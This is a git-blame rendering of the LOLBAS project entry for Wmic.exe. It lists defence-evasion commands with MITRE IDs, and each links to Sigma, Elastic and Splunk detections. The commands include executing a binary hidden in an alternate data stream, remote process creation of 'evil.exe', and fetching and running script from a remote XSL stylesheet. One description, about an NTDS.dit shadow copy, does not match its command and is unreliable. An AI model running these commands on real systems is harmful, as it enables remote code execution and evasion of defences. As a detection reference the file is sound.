2018-06-09 00:15:06 +02:00
|
|
|
---
|
2018-09-24 21:59:43 +02:00
|
|
|
Name: Wmic.exe
|
|
|
|
Description: The WMI command-line (WMIC) utility provides a command-line interface for WMI
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: wmic.exe process call create "c:\ads\file.txt:program.exe"
|
2018-09-24 23:18:00 +02:00
|
|
|
Description: Execute a .EXE file stored as an Alternate Data Stream (ADS)
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute binary file hidden in Alternate data streams to evade defensive counter measures
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-09-24 21:59:43 +02:00
|
|
|
- Command: wmic.exe process call create calc
|
|
|
|
Description: Execute calc from wmic
|
|
|
|
Usecase: Execute binary from wmic to evade defensive counter measures
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: wmic.exe /node:"192.168.0.1" process call create "evil.exe"
|
|
|
|
Description: Execute evil.exe on the remote system.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute binary on a remote system
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-09-24 21:59:43 +02:00
|
|
|
- Command: wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
|
|
|
|
Description: Create a volume shadow copy of NTDS.dit that can be copied.
|
|
|
|
Usecase: Execute binary on remote system
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
|
|
|
|
Description: Executes JScript or VBScript embedded in the target remote XSL stylsheet.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute script from remote system
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Execute: WSH
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2019-02-01 18:38:35 +01:00
|
|
|
- Path: C:\Windows\System32\wbem\wmic.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\wbem\wmic.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml
|
2021-11-15 14:19:03 +01:00
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml
|
|
|
|
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
|
|
|
- IOC: Wmic retrieving scripts from remote system/Internet location
|
|
|
|
- IOC: DotNet CLR libraries loaded into wmic.exe
|
|
|
|
- IOC: DotNet CLR Usage Log - wmic.exe.log
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
|
|
|
|
- Link: https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
|
|
|
|
- Link: https://twitter.com/subTee/status/986234811944648707
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Casey Smith
|
|
|
|
Handle: '@subtee'
|